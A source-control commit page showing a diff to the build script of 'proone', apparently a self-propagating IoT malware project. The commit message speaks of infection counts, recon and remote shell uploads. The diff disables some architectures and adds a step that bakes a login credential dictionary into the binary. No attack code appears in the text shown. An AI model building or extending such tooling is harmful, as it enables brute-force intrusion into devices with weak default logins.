aboutsummaryrefslogtreecommitdiff
path: root/scripts
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2020-09-27 22:51:11 +0930
committerDavid Timber <mieabby@gmail.com>2020-09-27 22:51:11 +0930
commit86038b950f0aaddca7108e903568159414a8d64a (patch)
tree122ff054b79ac91dc615f2248674fa4944ccdb17 /scripts
parent9f948554902e67cd796dd0635a3c632ccd40c206 (diff)
* Disable armv7, aarch64, x86_64 target
* Apply recon and bne to proone * Add callback contexts on htbt and bne * Fix mem leak in bne_sh_cleanup_upload() * Use prne_static_assert() instead of _Static_assert() * Use prne_free_worker() rather than calling free_ctx() * Add prne_eq_ipaddr() * bne * Add prne_bne_result::ny_instance to impl infect_cnt * Don't delete tmp upload dir after successful bne_sh_run_exec() so that proone can make tmp files * Silently ignore PRNE_BNE_V_HTBT if htbt_ssl_conf is not set * Add prne_bne_get_subject() * htbt * Fix crash bug when running without resolv * proone: set pth priority
Diffstat (limited to 'scripts')
-rwxr-xr-xscripts/build-all.sh27
1 files changed, 14 insertions, 13 deletions
diff --git a/scripts/build-all.sh b/scripts/build-all.sh
index 146bdfb..a9eaeb5 100755
--- a/scripts/build-all.sh
+++ b/scripts/build-all.sh
@@ -2,33 +2,33 @@
set -e
ARCH_ARR=(
- "aarch64"
+# "aarch64"
"armv4t"
- "armv7"
+# "armv7"
"i686"
- "x86_64"
+# "x86_64"
"mips"
"mpsl"
"ppc"
"sh4"
)
TOOLCHAIN_ARR=(
- "aarch64"
+# "aarch64"
"armv4t"
- "armv7"
+# "armv7"
"i686"
- "x86_64"
+# "x86_64"
"mips"
"mpsl"
"ppc"
"sh4"
)
HOST_ARR=(
- "aarch64-linux"
- "arm-linux"
+# "aarch64-linux"
"arm-linux"
+# "arm-linux"
"i686-linux"
- "x86_64-linux"
+# "x86_64-linux"
"mips-linux"
"mipsel-linux"
"powerpc-linux"
@@ -52,10 +52,12 @@ export PROONE_EXEC_PREFIX="$PROONE_EXEC_DIR/exec"
export PROONE_MISC_BIN_PREFIX="$PROONE_MISC_BIN_DIR/"
PROONE_REL_PREFIX="$PROONE_REL_DIR/proone"
PROONE_BINARCH_PREFIX="$PROONE_BINARCH_DIR/binarch"
+PROONE_CDICT="$PROONE_PREFIX/cred_dict.bin"
PROONE_DVAULT="$PROONE_PREFIX/dvault.bin"
PROONE_TOOLS="
proone-pack
proone-list-arch
+ proone-mkcdict
proone-mkdvault
proone-ipaddr-arr
"
@@ -69,9 +71,7 @@ set -e
# native build for tools
./configure $PROONE_AM_CONF
-cd src
-make -j$(nproc) $PROONE_TOOLS
-cd ..
+make -j$(nproc) -C src $PROONE_TOOLS
for t in $PROONE_TOOLS; do
cp -a "src/$t" "$PROONE_TOOLS_DIR"
done
@@ -79,7 +79,8 @@ cp -a "./src/run-tests.sh" "./src/testlist" "$PROONE_MISC_BIN_DIR"
make distclean
# generate dvault
-"$PROONE_TOOLS_DIR/proone-mkdvault" > "$PROONE_DVAULT"
+"$PROONE_TOOLS_DIR/proone-mkcdict" "./src/proone_conf/cred_dict.txt" "$PROONE_CDICT"
+"$PROONE_TOOLS_DIR/proone-mkdvault" "$PROONE_CDICT" > "$PROONE_DVAULT"
DVAULT_SIZE=$(stat -c "%s" "$PROONE_DVAULT")
# cross-compile targets